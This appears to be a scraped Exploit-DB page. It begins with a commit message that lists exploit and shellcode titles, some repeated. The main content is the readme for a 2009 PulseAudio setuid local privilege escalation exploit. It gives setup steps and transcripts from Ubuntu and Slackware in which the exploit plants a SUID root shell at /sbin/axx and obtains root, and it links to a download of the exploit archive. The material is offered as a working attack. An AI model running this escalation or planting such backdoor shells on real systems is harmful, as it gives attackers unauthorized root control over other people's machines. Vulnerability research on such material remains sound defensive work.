
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
55 lines
No EOL
1.7 KiB
Text
55 lines
No EOL
1.7 KiB
Text
PulseAudio setuid Local Privilege Escalation Vulnerability
|
|
https://www.securityfocus.com/bid/35721
|
|
Credit for discovery of bug: Tavis Ormandy, Julien Tinnes and
|
|
Yorick Koster
|
|
--
|
|
|
|
Put files in /tmp/pulseaudio-exp (or change config.h). Must be on
|
|
same fs as the pulseaudio binary.
|
|
|
|
Goes faster if you already have a pulseaudio running ? :p
|
|
|
|
Tested with success on Ubuntu 9.04 (x86-64) and slackware 12.2.0
|
|
(x86)
|
|
|
|
Ubuntu:
|
|
------------------------------------
|
|
$ ./c.sh
|
|
$ ./pulseaudio-exp
|
|
Please wait.
|
|
[*] Seems we are uid = 0 and gid = 0
|
|
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
|
|
[*] chown root.root /sbin/axx
|
|
[*] chmod 4755 /sbin/axx
|
|
Try: /sbin/axx /bin/sh
|
|
$ /sbin/axx /bin/sh
|
|
# id
|
|
uid=0(root) gid=0(root)
|
|
groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(adm
|
|
in),122(sambashare)
|
|
# uname -a
|
|
Linux ubuntu 2.6.28-13-generic #45-Ubuntu SMP Tue Jun 30 22:12:12
|
|
UTC 2009 x86_64 GNU/Linux
|
|
------------------------------------
|
|
Slackware
|
|
------------------------------------
|
|
$ ./c.sh
|
|
$ ./pulseaudio-exp
|
|
Please wait.
|
|
[*] Seems we are uid = 0 and gid = 0
|
|
[*] mv /tmp/pulseaudio-exp/shell /sbin/axx
|
|
[*] chown root.root /sbin/axx
|
|
[*] chmod 4755 /sbin/axx
|
|
Try: /sbin/axx /bin/sh
|
|
$ /sbin/axx /bin/sh
|
|
sh-3.1# id
|
|
uid=0(root) gid=0(root) groups=17(audio),100(users),104(pulse-rt)
|
|
sh-3.1# uname -a
|
|
Linux slackware 2.6.27.7-smp #2 SMP Thu Nov 20 22:32:43 CST 2008
|
|
i686 Intel(R) Pentium(R) Dual CPU T3400 @ 2.16GHz
|
|
GenuineIntel GNU/Linux
|
|
------------------------------------
|
|
|
|
download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9208.tar.gz (2009-pulseaudio-exp.tar.gz)
|
|
|
|
# milw0rm.com [2009-07-20] |